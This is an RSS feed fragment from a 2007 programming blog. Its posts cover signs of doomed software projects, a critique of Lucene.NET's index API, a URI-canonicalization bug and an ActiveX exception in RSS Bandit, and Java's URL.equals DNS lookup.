      <wfw:commentRss>http://www.25hoursaday.com/weblog/SyndicationService.asmx/GetEntryCommentsRss?guid=a76eab63-70f0-48b4-8b75-66c366a651cd</wfw:commentRss>
      <slash:comments>4</slash:comments>
      <body xmlns="http://www.w3.org/1999/xhtml">
        <p>
Raymond Chen has a blog post entitled <a href="http://blogs.msdn.com/oldnewthing/archive/2007/03/21/1922203.aspx" title="You don't know what you do until you know what you don't do">You
don't know what you do until you know what you don't do</a> where he writes
</p>
        <blockquote>
          <i>I've seen a lot of software projects, and one thing I've learned is
that you don't have a product until you start saying "No".<br /></i>
          <p>
            <i>In the early phases of product design, you're all giddy with excitement. This new
product will be so awesome. It will slice bread. It will solve world hunger. It's
designed for everybody, from the technology-averse grandmother who wants to see picture
of her grandkids to the IT manager who is in charge of 10,000 computers. It'll run
equally well on a handheld device as in a data center. </i>
          </p>
          <p>
            <i>When I see a product with an all-encompassing description like this, I say to myself,
"They have no idea what their product is." You don't know what you do until you know
what you don't do. And the sooner you figure out what you don't do the better, because
a product that promises to do everything will never ship.</i>
          </p>
        </blockquote>
        <p>
In my five years at Microsoft, I've seen a bunch of projects fail. Some were public
flame outs that are still embarrassing to mention today while others are private mistakes
that you'll never hear anyone outside the b0rg cube mention. A few months ago I wrote
a blog post entitled <a href="http://www.25hoursaday.com/weblog/PermaLink.aspx?guid=97d79491-be46-4c01-a942-ee41c812dcac">Top
5 Signs Your Project is Doomed</a> and since then I've considered a few more entries
that should be on the list bringing the total to 10. The list below are common signs
that a  software project is doomed. Meeting one or two of these criteria isn't
necessarily the kiss of death but three or more and you might as well start circulating
your resume.  
</p>
        <ol>
          <li>
            <p>
Trying to do too much in the first version. See Raymond's point above. 
<br /></p>
          </li>
          <li>
            <p>
Taking a major dependency on unproven technology. 
<br /></p>
          </li>
          <li>
            <p>
Competing with an existing internal project that was either a cash cow or had backers
that are highly placed in the corporate hierarchy. 
<br /></p>
          </li>
          <li>
            <p>
The team is understaffed. If you have less people than can handle the amount of work
you have to do then the right thing to do is to scale back the project. Practically
every other choice leads to failure. 
<br /></p>
          </li>
          <li>
Complexity is one of the goals of the project because "complex problems require complex
solutions". 
<br /></li>
          <li>
            <p>
              <a href="http://www.stickyminds.com/se/S7923.asp">Schedule Chicken</a>
              <br />
            </p>
          </li>
          <li>
            <p>
              <a href="http://www.projectperfect.com.au/info_scope_creep_mgmt.php">Scope Creep</a>
            </p>
          </li>
          <li>
            <p>
              <a href="http://www.answers.com/topic/second-system-syndrome">Second System Syndrome</a>
            </p>
          </li>
          <li>
            <p>
No Entrance Strategy. When a project can't articulate how it goes from a demo or prototype
to being in the hands of end users, there's a problem. This is particularly relevant
in the "Web 2,0" world where many startups only strategy for success is getting a
mention on <a href="http://www.techcrunch.com">TechCrunch</a> and the fact that their
service has "viral" features. 
</p>
          </li>
          <li>
            <p>
Tackling a problem you don't know how to solve. It's pretty amazing how often I've
seen this occur. 
<br /></p>
          </li>
        </ol>
        <script>
digg_url = 'http://www.digg.com/programming/Top_Ten_Signs_Your_Software_Project_is_Doomed';
</script>
        <script src="http://digg.com/api/diggthis.js">
        </script>
        <img width="0" height="0" src="http://www.25hoursaday.com/weblog/aggbug.ashx?id=a76eab63-70f0-48b4-8b75-66c366a651cd" />
      </body>
      <title>Top Ten Signs Your Software Project is Doomed</title>
      <guid isPermaLink="false">http://www.25hoursaday.com/weblog/PermaLink,guid,a76eab63-70f0-48b4-8b75-66c366a651cd.aspx</guid>
      <link>http://www.25hoursaday.com/weblog/2007/03/22/TopTenSignsYourSoftwareProjectIsDoomed.aspx</link>
      <pubDate>Thu, 22 Mar 2007 21:27:11 GMT</pubDate>
      <description>&lt;p&gt;
Raymond Chen has a blog post entitled &lt;a href="http://blogs.msdn.com/oldnewthing/archive/2007/03/21/1922203.aspx" title="You don't know what you do until you know what you don't do"&gt;You
don't know what you do until you know what you don't do&lt;/a&gt; where he writes
&lt;/p&gt;
&lt;blockquote&gt;&lt;i&gt;I've seen a lot of software projects, and one thing I've learned is
that you don't have a product until you start saying "No".&lt;br&gt;
&lt;/i&gt;
&lt;p&gt;
&lt;i&gt;In the early phases of product design, you're all giddy with excitement. This new
product will be so awesome. It will slice bread. It will solve world hunger. It's
designed for everybody, from the technology-averse grandmother who wants to see picture
of her grandkids to the IT manager who is in charge of 10,000 computers. It'll run
equally well on a handheld device as in a data center. &lt;/i&gt;
&lt;/p&gt;
&lt;p&gt;
&lt;i&gt;When I see a product with an all-encompassing description like this, I say to myself,
"They have no idea what their product is." You don't know what you do until you know
what you don't do. And the sooner you figure out what you don't do the better, because
a product that promises to do everything will never ship.&lt;/i&gt; 
&lt;/p&gt;
&lt;/blockquote&gt; 
&lt;p&gt;
In my five years at Microsoft, I've seen a bunch of projects fail. Some were public
flame outs that are still embarrassing to mention today while others are private mistakes
that you'll never hear anyone outside the b0rg cube mention. A few months ago I wrote
a blog post entitled &lt;a href="http://www.25hoursaday.com/weblog/PermaLink.aspx?guid=97d79491-be46-4c01-a942-ee41c812dcac"&gt;Top
5 Signs Your Project is Doomed&lt;/a&gt; and since then I've considered a few more entries
that should be on the list bringing the total to 10. The list below are common signs
that a&amp;nbsp; software project is doomed. Meeting one or two of these criteria isn't
necessarily the kiss of death but three or more and you might as well start circulating
your resume.&amp;nbsp; 
&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;
Trying to do too much in the first version. See Raymond's point above. 
&lt;br&gt;
&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;
Taking a major dependency on unproven technology. 
&lt;br&gt;
&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;
Competing with an existing internal project that was either a cash cow or had backers
that are highly placed in the corporate hierarchy. 
&lt;br&gt;
&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;
The team is understaffed. If you have less people than can handle the amount of work
you have to do then the right thing to do is to scale back the project. Practically
every other choice leads to failure. 
&lt;br&gt;
&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
Complexity is one of the goals of the project because "complex problems require complex
solutions". 
&lt;br&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;
&lt;a href="http://www.stickyminds.com/se/S7923.asp"&gt;Schedule Chicken&lt;/a&gt; 
&lt;br&gt;
&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;
&lt;a href="http://www.projectperfect.com.au/info_scope_creep_mgmt.php"&gt;Scope Creep&lt;/a&gt;
&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;
&lt;a href="http://www.answers.com/topic/second-system-syndrome"&gt;Second System Syndrome&lt;/a&gt;
&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;
No Entrance Strategy. When a project can't articulate how it goes from a demo or prototype
to being in the hands of end users, there's a problem. This is particularly relevant
in the "Web 2,0" world where many startups only strategy for success is getting a
mention on &lt;a href="http://www.techcrunch.com"&gt;TechCrunch&lt;/a&gt; and the fact that their
service has "viral" features. 
&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;
Tackling a problem you don't know how to solve. It's pretty amazing how often I've
seen this occur. 
&lt;br&gt;
&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;script&gt;
digg_url = 'http://www.digg.com/programming/Top_Ten_Signs_Your_Software_Project_is_Doomed';
&lt;/script&gt;
&lt;script src="http://digg.com/api/diggthis.js"&gt;&lt;/script&gt;&lt;img width="0" height="0" src="http://www.25hoursaday.com/weblog/aggbug.ashx?id=a76eab63-70f0-48b4-8b75-66c366a651cd" /&gt;</description>
      <comments>http://www.25hoursaday.com/weblog/CommentView,guid,a76eab63-70f0-48b4-8b75-66c366a651cd.aspx</comments>
      <category>Programming</category>
    </item>
    <item>
      <trackback:ping>http://www.25hoursaday.com/weblog/Trackback.aspx?guid=53bbe636-8976-4177-bed7-49a43f755036</trackback:ping>
      <pingback:server>http://www.25hoursaday.com/weblog/pingback.aspx</pingback:server>
      <pingback:target>http://www.25hoursaday.com/weblog/PermaLink,guid,53bbe636-8976-4177-bed7-49a43f755036.aspx</pingback:target>
      <dc:creator />
      <wfw:comment>http://www.25hoursaday.com/weblog/CommentView,guid,53bbe636-8976-4177-bed7-49a43f755036.aspx</wfw:comment>
      <wfw:commentRss>http://www.25hoursaday.com/weblog/SyndicationService.asmx/GetEntryCommentsRss?guid=53bbe636-8976-4177-bed7-49a43f755036</wfw:commentRss>
      <slash:comments>11</slash:comments>
      <body xmlns="http://www.w3.org/1999/xhtml">
        <p>
For the current release of <a href="http://www.rssbandit.org">RSS Bandit</a> we decided
to forego our homegrown solution for providing search over a user's subscribed feeds
and go with <a href="http://www.dotlucene.net/">Lucene.NET</a>. The search capabilities
are pretty cool but the provided APIs leave a lot to be desired. The  only major
problem we encountered with <a href="http://www.dotlucene.net/">Lucene.NET</a> is
that <a href="http://www.mail-archive.com/lucene-net-user@incubator.apache.org/msg00272.html">concurrency
issues are commonplace</a>. We decided to protect against this by having only one
thread that modified the Lucene index since a lot of problems seemed to occur when
multiple threads were trying to modify the search index. 
</p>
        <p>
This is where programming with <a href="http://www.dotlucene.net/">Lucene.NET</a> turns
into a journey into the land of <a href="http://www.thedailywtf.com">Daily WTF</a> style
proportions. 
</p>
        <b> WTF #1</b>: There are two classes used for modifying the Lucene index. This means
you can't just create a singleton and protect access to it from multiple threads.
Instead one must keep instances of two different types around and make sure if one
instance is open the other is closed. 
<br /><br /><b> WTF #2</b>: Although the classes are called <a href="http://www.dotlucene.net/documentation/api/1.4/Lucene.Net.Index.IndexReaderMembers.html">IndexReader</a> and <a href="http://www.dotlucene.net/documentation/api/1.4/Lucene.Net.Index.IndexWriterMembers.html">IndexWriter</a>,
they are both used for editing the search index. There's a fricking <a href="http://www.dotlucene.net/documentation/api/1.4/Lucene.Net.Index.IndexReader.Delete_overloads.html">Delete()
method on a class named Index<b>Reader</b></a>. 
<p><u>Code Taken from Lucene Examples</u></p><pre><code>public void DeleteDocument(int docNum)<br />
{<br />
lock (directory)<br />
{<br />
AssureOpen();<br />
CreateIndexReader();<br /><font color="#ff0000">indexReader.DeleteDocument(docNum);</font><br />
}<br />
}<br /><br /></code><code>void CreateIndexReader()<br />
{<br />
if (indexReader == null)<br />
{<br /><font color="#ff0000">if (indexWriter != null)<br />
{<br />
indexWriter.Close();<br />
indexWriter = null;<br />
}</font><br />
indexReader = IndexReader.Open(directory);<br />
}<br />
}</code><br /><code><br />
void AddDocument(Document doc)<br />
{<br />
lock (directory)<br />
{<br />
AssureOpen();<br />
CreateIndexWriter();<br /><font color="#ff0000">indexWriter.AddDocument(doc);</font><br />
}<br />
}<br /><br />
void CreateIndexWriter()<br />
{<br />
if (indexWriter == null)<br />
{<br /><font color="#ff0000">if (indexReader != null)<br />
{<br />
indexReader.Close();<br />
indexReader = null;<br />
}</font><br /><br />
}<br />
}<br /><br /></code></pre><p></p><p>
As lame as this is, <a href="http://www.dotlucene.net/">Lucene.NET</a> is probably
the best way to add desktop search capabilities to your .NET Framework application.
I've heard they've created an <a href="http://lucene.apache.org/java/docs/api/org/apache/lucene/index/IndexModifier.html">IndexModifier
class</a> in newer versions of the API so some of this ugliness is hidden from application
developers. How anyone thought it was OK to ship with this kind of API ugliness in
the first place is beyond me. 
<br /></p><img width="0" height="0" src="http://www.25hoursaday.com/weblog/aggbug.ashx?id=53bbe636-8976-4177-bed7-49a43f755036" /></body>
      <title>API Hall of Shame: Lucene's IndexReader and IndexWriter</title>
      <guid isPermaLink="false">http://www.25hoursaday.com/weblog/PermaLink,guid,53bbe636-8976-4177-bed7-49a43f755036.aspx</guid>
      <link>http://www.25hoursaday.com/weblog/2007/03/05/APIHallOfShameLucenesIndexReaderAndIndexWriter.aspx</link>
      <pubDate>Mon, 05 Mar 2007 18:20:31 GMT</pubDate>
      <description>
&lt;p&gt;
For the current release of &lt;a href="http://www.rssbandit.org"&gt;RSS Bandit&lt;/a&gt; we decided
to forego our homegrown solution for providing search over a user's subscribed feeds
and go with &lt;a href="http://www.dotlucene.net/"&gt;Lucene.NET&lt;/a&gt;. The search capabilities
are pretty cool but the provided APIs leave a lot to be desired. The&amp;nbsp; only major
problem we encountered with &lt;a href="http://www.dotlucene.net/"&gt;Lucene.NET&lt;/a&gt; is
that &lt;a href="http://www.mail-archive.com/lucene-net-user@incubator.apache.org/msg00272.html"&gt;concurrency
issues are commonplace&lt;/a&gt;. We decided to protect against this by having only one
thread that modified the Lucene index since a lot of problems seemed to occur when
multiple threads were trying to modify the search index. 
&lt;/p&gt;
&lt;p&gt;
This is where programming with &lt;a href="http://www.dotlucene.net/"&gt;Lucene.NET&lt;/a&gt; turns
into a journey into the land of &lt;a href="http://www.thedailywtf.com"&gt;Daily WTF&lt;/a&gt; style
proportions. 
&lt;/p&gt;
&lt;b&gt; WTF #1&lt;/b&gt;: There are two classes used for modifying the Lucene index. This means
you can't just create a singleton and protect access to it from multiple threads.
Instead one must keep instances of two different types around and make sure if one
instance is open the other is closed. 
&lt;br&gt;
&lt;br&gt;
&lt;b&gt; WTF #2&lt;/b&gt;: Although the classes are called &lt;a href="http://www.dotlucene.net/documentation/api/1.4/Lucene.Net.Index.IndexReaderMembers.html"&gt;IndexReader&lt;/a&gt; and &lt;a href="http://www.dotlucene.net/documentation/api/1.4/Lucene.Net.Index.IndexWriterMembers.html"&gt;IndexWriter&lt;/a&gt;,
they are both used for editing the search index. There's a fricking &lt;a href="http://www.dotlucene.net/documentation/api/1.4/Lucene.Net.Index.IndexReader.Delete_overloads.html"&gt;Delete()
method on a class named Index&lt;b&gt;Reader&lt;/b&gt;&lt;/a&gt;. 
&lt;p&gt;
&lt;u&gt;Code Taken from Lucene Examples&lt;/u&gt; 
&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public void DeleteDocument(int docNum)&lt;br&gt;
{&lt;br&gt;
lock (directory)&lt;br&gt;
{&lt;br&gt;
AssureOpen();&lt;br&gt;
CreateIndexReader();&lt;br&gt;
&lt;font color="#ff0000"&gt;indexReader.DeleteDocument(docNum);&lt;/font&gt;
&lt;br&gt;
}&lt;br&gt;
}&lt;br&gt;
&lt;br&gt;
&lt;/code&gt;&lt;code&gt;void CreateIndexReader()&lt;br&gt;
{&lt;br&gt;
if (indexReader == null)&lt;br&gt;
{&lt;br&gt;
&lt;font color="#ff0000"&gt;if (indexWriter != null)&lt;br&gt;
{&lt;br&gt;
indexWriter.Close();&lt;br&gt;
indexWriter = null;&lt;br&gt;
}&lt;/font&gt;
&lt;br&gt;
indexReader = IndexReader.Open(directory);&lt;br&gt;
}&lt;br&gt;
}&lt;/code&gt;
&lt;br&gt;
&lt;code&gt;
&lt;br&gt;
void AddDocument(Document doc)&lt;br&gt;
{&lt;br&gt;
lock (directory)&lt;br&gt;
{&lt;br&gt;
AssureOpen();&lt;br&gt;
CreateIndexWriter();&lt;br&gt;
&lt;font color="#ff0000"&gt;indexWriter.AddDocument(doc);&lt;/font&gt;
&lt;br&gt;
}&lt;br&gt;
}&lt;br&gt;
&lt;br&gt;
void CreateIndexWriter()&lt;br&gt;
{&lt;br&gt;
if (indexWriter == null)&lt;br&gt;
{&lt;br&gt;
&lt;font color="#ff0000"&gt;if (indexReader != null)&lt;br&gt;
{&lt;br&gt;
indexReader.Close();&lt;br&gt;
indexReader = null;&lt;br&gt;
}&lt;/font&gt;
&lt;br&gt;
&lt;br&gt;
}&lt;br&gt;
}&lt;br&gt;
&lt;br&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;
&lt;/p&gt;
&lt;p&gt;
As lame as this is, &lt;a href="http://www.dotlucene.net/"&gt;Lucene.NET&lt;/a&gt; is probably
the best way to add desktop search capabilities to your .NET Framework application.
I've heard they've created an &lt;a href="http://lucene.apache.org/java/docs/api/org/apache/lucene/index/IndexModifier.html"&gt;IndexModifier
class&lt;/a&gt; in newer versions of the API so some of this ugliness is hidden from application
developers. How anyone thought it was OK to ship with this kind of API ugliness in
the first place is beyond me. 
&lt;br&gt;
&lt;/p&gt;
&lt;img width="0" height="0" src="http://www.25hoursaday.com/weblog/aggbug.ashx?id=53bbe636-8976-4177-bed7-49a43f755036" /&gt;</description>
      <comments>http://www.25hoursaday.com/weblog/CommentView,guid,53bbe636-8976-4177-bed7-49a43f755036.aspx</comments>
      <category>Programming</category>
    </item>
    <item>
      <trackback:ping>http://www.25hoursaday.com/weblog/Trackback.aspx?guid=e35a2a57-781e-4be3-be67-ed1571ec6ecc</trackback:ping>
      <pingback:server>http://www.25hoursaday.com/weblog/pingback.aspx</pingback:server>
      <pingback:target>http://www.25hoursaday.com/weblog/PermaLink,guid,e35a2a57-781e-4be3-be67-ed1571ec6ecc.aspx</pingback:target>
      <dc:creator />
      <wfw:comment>http://www.25hoursaday.com/weblog/CommentView,guid,e35a2a57-781e-4be3-be67-ed1571ec6ecc.aspx</wfw:comment>
      <wfw:commentRss>http://www.25hoursaday.com/weblog/SyndicationService.asmx/GetEntryCommentsRss?guid=e35a2a57-781e-4be3-be67-ed1571ec6ecc</wfw:commentRss>
      <body xmlns="http://www.w3.org/1999/xhtml">
        <p>
I just got a phone call from an <a href="http://www.rssbandit.org">RSS Bandit</a> user
whose daily workflow had been derailed by a bug in the application. It seems that
we were crashing with an <b>ArgumentException</b> stating "Argument already exists
in collection" when she tried to import an OPML file. This seemed weird because I
always make sure to check if a feed URL exists in the table of currently subscribed
URIs before adding it. Looking at the code made me even more confused 
</p>
        <blockquote>
          <pre>
            <code>
              <br />
if(!_feedsTable.ContainsKey(f1.link)){<br />
f1.lastretrievedSpecified = true;<br />
f1.lastretrieved = dta[count % dtaCount];<br /><font color="#ff0000">_feedsTable.Add(f1.link, f1); </font><font color="#008000">/*
exception thrown here */ </font><br />
}</code>
          </pre>
        </blockquote>
        <p>
So I looked at the implementations of the ContainsKey() and Add() in my data structure
which lead me to the conclusion that we need better unit tests 
<br /></p>
        <blockquote>
          <pre>
            <code> public virtual bool ContainsKey(String key) { return (IndexOfKey(key)
&gt;= 0); } public virtual void Add(String key, feedsFeed value) { if ((object) key
== null) throw new ArgumentNullException("key"); /* convert the URI to a canonicalized
absolute URI */ try{ Uri uri = new Uri(key); key = uri.AbsoluteUri; value.link = key;
}catch {} int index = IndexOfKey(key); if (index &gt;= 0) throw new ArgumentException(
"Argument already exists in collection.", "key"); Insert(~index, key, value); } </code>
          </pre>
        </blockquote>
        <p>
My apologies to any of our users who have been hit by this problem. It'll be fixed
in the final release of <i>Jubilee</i>.
</p>
        <img width="0" height="0" src="http://www.25hoursaday.com/weblog/aggbug.ashx?id=e35a2a57-781e-4be3-be67-ed1571ec6ecc" />
      </body>
      <title>I Hate URI Canonicalization</title>
      <guid isPermaLink="false">http://www.25hoursaday.com/weblog/PermaLink,guid,e35a2a57-781e-4be3-be67-ed1571ec6ecc.aspx</guid>
      <link>http://www.25hoursaday.com/weblog/2007/03/02/IHateURICanonicalization.aspx</link>
      <pubDate>Fri, 02 Mar 2007 00:23:18 GMT</pubDate>
      <description>&lt;p&gt;
I just got a phone call from an &lt;a href="http://www.rssbandit.org"&gt;RSS Bandit&lt;/a&gt; user
whose daily workflow had been derailed by a bug in the application. It seems that
we were crashing with an &lt;b&gt;ArgumentException&lt;/b&gt; stating "Argument already exists
in collection" when she tried to import an OPML file. This seemed weird because I
always make sure to check if a feed URL exists in the table of currently subscribed
URIs before adding it. Looking at the code made me even more confused 
&lt;/p&gt;
&lt;blockquote&gt; &lt;pre&gt;&lt;code&gt;
&lt;br&gt;
if(!_feedsTable.ContainsKey(f1.link)){&lt;br&gt;
f1.lastretrievedSpecified = true;&lt;br&gt;
f1.lastretrieved = dta[count % dtaCount];&lt;br&gt;
&lt;font color="#ff0000"&gt;_feedsTable.Add(f1.link, f1); &lt;/font&gt; &lt;font color="#008000"&gt;/*
exception thrown here */ &lt;/font&gt;
&lt;br&gt;
}&lt;/code&gt;&lt;/pre&gt;
&lt;/blockquote&gt; 
&lt;p&gt;
So I looked at the implementations of the ContainsKey() and Add() in my data structure
which lead me to the conclusion that we need better unit tests 
&lt;br&gt;
&lt;/p&gt;
&lt;blockquote&gt; &lt;pre&gt;&lt;code&gt; public virtual bool ContainsKey(String key) { return (IndexOfKey(key)
&amp;gt;= 0); } public virtual void Add(String key, feedsFeed value) { if ((object) key
== null) throw new ArgumentNullException("key"); /* convert the URI to a canonicalized
absolute URI */ try{ Uri uri = new Uri(key); key = uri.AbsoluteUri; value.link = key;
}catch {} int index = IndexOfKey(key); if (index &amp;gt;= 0) throw new ArgumentException(
"Argument already exists in collection.", "key"); Insert(~index, key, value); } &lt;/code&gt; &lt;/pre&gt;
&lt;/blockquote&gt; 
&lt;p&gt;
My apologies to any of our users who have been hit by this problem. It'll be fixed
in the final release of &lt;i&gt;Jubilee&lt;/i&gt;.
&lt;/p&gt;
&lt;img width="0" height="0" src="http://www.25hoursaday.com/weblog/aggbug.ashx?id=e35a2a57-781e-4be3-be67-ed1571ec6ecc" /&gt;</description>
      <comments>http://www.25hoursaday.com/weblog/CommentView,guid,e35a2a57-781e-4be3-be67-ed1571ec6ecc.aspx</comments>
      <category>Programming</category>
      <category>RSS Bandit</category>
    </item>
    <item>
      <trackback:ping>http://www.25hoursaday.com/weblog/Trackback.aspx?guid=16e7f634-0bec-4dc9-835f-ffc6508d404c</trackback:ping>
      <pingback:server>http://www.25hoursaday.com/weblog/pingback.aspx</pingback:server>
      <pingback:target>http://www.25hoursaday.com/weblog/PermaLink,guid,16e7f634-0bec-4dc9-835f-ffc6508d404c.aspx</pingback:target>
      <dc:creator />
      <wfw:comment>http://www.25hoursaday.com/weblog/CommentView,guid,16e7f634-0bec-4dc9-835f-ffc6508d404c.aspx</wfw:comment>
      <wfw:commentRss>http://www.25hoursaday.com/weblog/SyndicationService.asmx/GetEntryCommentsRss?guid=16e7f634-0bec-4dc9-835f-ffc6508d404c</wfw:commentRss>
      <slash:comments>5</slash:comments>
      <body xmlns="http://www.w3.org/1999/xhtml">
        <p>
I've mentioned in the past that I like the <a href="https://addons.mozilla.org/firefox/436/">SessionSaver
extension for Firefox</a> and would like to implement similar functionality for <a href="http://www.rssbandit.org">RSS
Bandit</a>. I finished up this feature last night but I kept getting weird behavior.
The expected behavior is that when <a href="http://www.rssbandit.org">RSS Bandit</a> is
launched it remembers the application state from the last time it was closed such
as whether it was minimized to the system tray, open browser tabs, what nodes in the
feed subscription tree were expanded and what news item(s) were selected.  
</p>
        <p>
The weird behavior was that every once in a while when the application restarted,
I'd get an <a href="http://msdn2.microsoft.com/en-us/system.windows.forms.axhost.invalidactivexstateexception%28VS.80%29.aspx"> InvalidActiveXStateException</a> which
was thrown from the <a href="http://msdn.microsoft.com/workshop/browser/webbrowser/reference/methods/navigate.asp">IWebBrowser2.Navigate
method</a> when restoring the open browser tabs from the previous time the application
ran. Further investigation narrowed the issue down to only showing up when the application
had been minimized to the system tray when it was closed and thus being immediately
minimized to the system tray when the application was restarted.  
</p>
        <p>
I managed to read a comment on some forum that indicated that the problem is that <a href="http://msdn.microsoft.com/workshop/browser/webbrowser/reference/methods/navigate.asp">IWebBrowser2.Navigate
method</a> doesn't work if the WebBrowser control isn't visible. This means that this
feature won't work as smoothly as I'd like when the application is restarted after
being closed from the system tray but it does get rid of the ugly exception. 
</p>
        <p>
I hope this blog post explains why the feature will seem wonky in this situation for
our users and may prove useful to developers who come across this weird error in the
future. 
</p>
        <img width="0" height="0" src="http://www.25hoursaday.com/weblog/aggbug.ashx?id=16e7f634-0bec-4dc9-835f-ffc6508d404c" />
      </body>
      <title>InvalidActiveXStateException and Remembering Open Browser Tabs on Restart</title>
      <guid isPermaLink="false">http://www.25hoursaday.com/weblog/PermaLink,guid,16e7f634-0bec-4dc9-835f-ffc6508d404c.aspx</guid>
      <link>http://www.25hoursaday.com/weblog/2007/02/08/InvalidActiveXStateExceptionAndRememberingOpenBrowserTabsOnRestart.aspx</link>
      <pubDate>Thu, 08 Feb 2007 18:23:12 GMT</pubDate>
      <description>&lt;p&gt;
I've mentioned in the past that I like the &lt;a href="https://addons.mozilla.org/firefox/436/"&gt;SessionSaver
extension for Firefox&lt;/a&gt; and would like to implement similar functionality for &lt;a href="http://www.rssbandit.org"&gt;RSS
Bandit&lt;/a&gt;. I finished up this feature last night but I kept getting weird behavior.
The expected behavior is that when &lt;a href="http://www.rssbandit.org"&gt;RSS Bandit&lt;/a&gt; is
launched it remembers the application state from the last time it was closed such
as whether it was minimized to the system tray, open browser tabs, what nodes in the
feed subscription tree were expanded and what news item(s) were selected.&amp;nbsp; 
&lt;/p&gt;
&lt;p&gt;
The weird behavior was that every once in a while when the application restarted,
I'd get an &lt;a href="http://msdn2.microsoft.com/en-us/system.windows.forms.axhost.invalidactivexstateexception%28VS.80%29.aspx"&gt; InvalidActiveXStateException&lt;/a&gt; which
was thrown from the &lt;a href="http://msdn.microsoft.com/workshop/browser/webbrowser/reference/methods/navigate.asp"&gt;IWebBrowser2.Navigate
method&lt;/a&gt; when restoring the open browser tabs from the previous time the application
ran. Further investigation narrowed the issue down to only showing up when the application
had been minimized to the system tray when it was closed and thus being immediately
minimized to the system tray when the application was restarted.&amp;nbsp; 
&lt;/p&gt;
&lt;p&gt;
I managed to read a comment on some forum that indicated that the problem is that &lt;a href="http://msdn.microsoft.com/workshop/browser/webbrowser/reference/methods/navigate.asp"&gt;IWebBrowser2.Navigate
method&lt;/a&gt; doesn't work if the WebBrowser control isn't visible. This means that this
feature won't work as smoothly as I'd like when the application is restarted after
being closed from the system tray but it does get rid of the ugly exception. 
&lt;/p&gt;
&lt;p&gt;
I hope this blog post explains why the feature will seem wonky in this situation for
our users and may prove useful to developers who come across this weird error in the
future. 
&lt;/p&gt;
&lt;img width="0" height="0" src="http://www.25hoursaday.com/weblog/aggbug.ashx?id=16e7f634-0bec-4dc9-835f-ffc6508d404c" /&gt;</description>
      <comments>http://www.25hoursaday.com/weblog/CommentView,guid,16e7f634-0bec-4dc9-835f-ffc6508d404c.aspx</comments>
      <category>Programming</category>
      <category>RSS Bandit</category>
    </item>
    <item>
      <trackback:ping>http://www.25hoursaday.com/weblog/Trackback.aspx?guid=1684521e-3709-41fe-8712-5f9b5fe5cb93</trackback:ping>
      <pingback:server>http://www.25hoursaday.com/weblog/pingback.aspx</pingback:server>
      <pingback:target>http://www.25hoursaday.com/weblog/PermaLink,guid,1684521e-3709-41fe-8712-5f9b5fe5cb93.aspx</pingback:target>
      <dc:creator />
      <wfw:comment>http://www.25hoursaday.com/weblog/CommentView,guid,1684521e-3709-41fe-8712-5f9b5fe5cb93.aspx</wfw:comment>
      <wfw:commentRss>http://www.25hoursaday.com/weblog/SyndicationService.asmx/GetEntryCommentsRss?guid=1684521e-3709-41fe-8712-5f9b5fe5cb93</wfw:commentRss>
      <slash:comments>10</slash:comments>
      <body xmlns="http://www.w3.org/1999/xhtml">
        <p>
I just found the post <a href="http://brian.pontarelli.com/2006/12/05/mr-gosling-why-did-you-make-url-equals-suck/">Mr.
Gosling - why did you make URL equals suck?!?</a> on <a href="http://programming.reddit.com/">programming.reddit.com</a> and
just had to share
</p>
        <blockquote>
          <p>
            <i>Okay, I’m totally hacked! java.net.URL class officially sucks! The equals method
on this shining example of the JDK API mess actually does a blocking DNS lookup on
the host string to resolve to an IP address and then compares the IP addresses rather
than the host string. What freakin’ sense does that make?</i>
          </p>
          <p>
            <i>Simple example:</i>
          </p>
          <pre>
            <i>URL url1 = new URL("http://foo.example.com");<br />
URL url2 = new URL("http://example.com");<br /></i>
          </pre>
          <p>
            <i>Let’s say these map to these IP addresses:</i>
          </p>
          <pre>
            <i>http://foo.example.com =&gt; 245.10.10.1<br />
http://example.com =&gt; 245.10.10.1<br /></i>
          </pre>
          <p>
            <i>Here’s the scary part:</i>
          </p>
          <pre>
            <i>url1.equals(url2) =&gt; true!</i>
            <br />
          </pre>
        </blockquote>
        <p>
That's definitely the best example of code that deserves to be on <a href="http://thedailywtf.com/">The
Daily WTF</a> I've seen from a standard library. Just thinking about all the code
I have in <a href="http://www.rssbandit.org">RSS Bandit</a> that tests URLs for equality,
it boggles my mind to think a standard library could have such a craptacular implementation
of the <code>equals()</code> method. 
</p>
        <p>
Anyone have similar examples from other standard libraries (C++, .NET, JDK, Ruby,
etc)? I need some bad code to cheer me up after a day that's already had too many
meetings. :) 
</p>
        <img width="0" height="0" src="http://www.25hoursaday.com/weblog/aggbug.ashx?id=1684521e-3709-41fe-8712-5f9b5fe5cb93" />
      </body>
      <title>Worst Implementation of Object.Equals() Ever?</title>
      <guid isPermaLink="false">http://www.25hoursaday.com/weblog/PermaLink,guid,1684521e-3709-41fe-8712-5f9b5fe5cb93.aspx</guid>
      <link>http://www.25hoursaday.com/weblog/2007/01/31/WorstImplementationOfObjectEqualsEver.aspx</link>
      <pubDate>Wed, 31 Jan 2007 20:51:57 GMT</pubDate>
      <description>&lt;p&gt;
I just found the post &lt;a href="http://brian.pontarelli.com/2006/12/05/mr-gosling-why-did-you-make-url-equals-suck/"&gt;Mr.
Gosling - why did you make URL equals suck?!?&lt;/a&gt; on &lt;a href="http://programming.reddit.com/"&gt;programming.reddit.com&lt;/a&gt; and
just had to share
&lt;/p&gt;
&lt;blockquote&gt; 
&lt;p&gt;
&lt;i&gt;Okay, I’m totally hacked! java.net.URL class officially sucks! The equals method
on this shining example of the JDK API mess actually does a blocking DNS lookup on
the host string to resolve to an IP address and then compares the IP addresses rather
than the host string. What freakin’ sense does that make?&lt;/i&gt;
&lt;/p&gt;
&lt;p&gt;
&lt;i&gt;Simple example:&lt;/i&gt;
&lt;/p&gt;
